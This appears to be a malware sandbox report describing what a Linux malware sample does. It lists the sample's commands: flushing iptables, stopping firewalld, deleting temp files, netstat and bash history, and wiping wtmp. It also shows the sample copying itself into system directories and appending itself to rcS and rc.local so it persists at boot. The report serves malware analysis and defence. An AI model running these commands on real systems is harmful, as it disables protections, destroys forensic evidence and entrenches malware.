Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/rcS_bak
- /etc/init.d/rcS
- /etc/rc.local
Malicious functions:
Modifies firewall settings:
- /sbin/iptables -F
- /sbin/iptables -X
Manages services:
- service iptables stop
- systemctl stop iptables.service
- service firewalld stop
- systemctl stop firewalld.service
Launches processes:
- sh -c rm -rf /tmp/* /var/tmp/*
- rm -rf /tmp/* /var/tmp/*
- sh -c cat /dev/null > /var/log/wtmp
- cat /dev/null
- sh -c rm -rf /bin/netstat
- rm -rf /bin/netstat
- sh -c service iptables stop
- sh -c /sbin/iptables -F; /sbin/iptables -X
- sh -c service firewalld stop
- sh -c rm -rf ~/.bash_history
- rm -rf /root/.bash_history
- sh -c history -c
- sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /var/tmp/
- /bin/busybox cp <SAMPLE_FULL_PATH> /var/tmp/
- sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /tmp/
- /bin/busybox cp <SAMPLE_FULL_PATH> /tmp/
- sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /bin/
- /bin/busybox cp <SAMPLE_FULL_PATH> /bin/
- sh -c /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
- /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
- sh -c /bin/busybox echo 'cd /tmp/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
- /bin/busybox echo cd /tmp/;<SAMPLE_FULL_PATH> self.load;cd
- sh -c /bin/busybox echo 'cd /var/tmp/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
- /bin/busybox echo cd /var/tmp/;<SAMPLE_FULL_PATH> self.load;cd
- sh -c /bin/busybox echo 'cd /bin/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
- /bin/busybox echo cd /bin/;<SAMPLE_FULL_PATH> self.load;cd
- sh -c echo 'cd /tmp/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
- sh -c echo 'cd /var/tmp/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
- sh -c echo 'cd /bin/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
Performs operations with the file system:
Creates or modifies files:
- /var/log/wtmp
- /var/tmp/<SAMPLE>
- /tmp/<SAMPLE>
- /bin/<SAMPLE>
Deletes files:
- /tmp/*
- /var/tmp/*
- /bin/netstat
- /root/.bash_history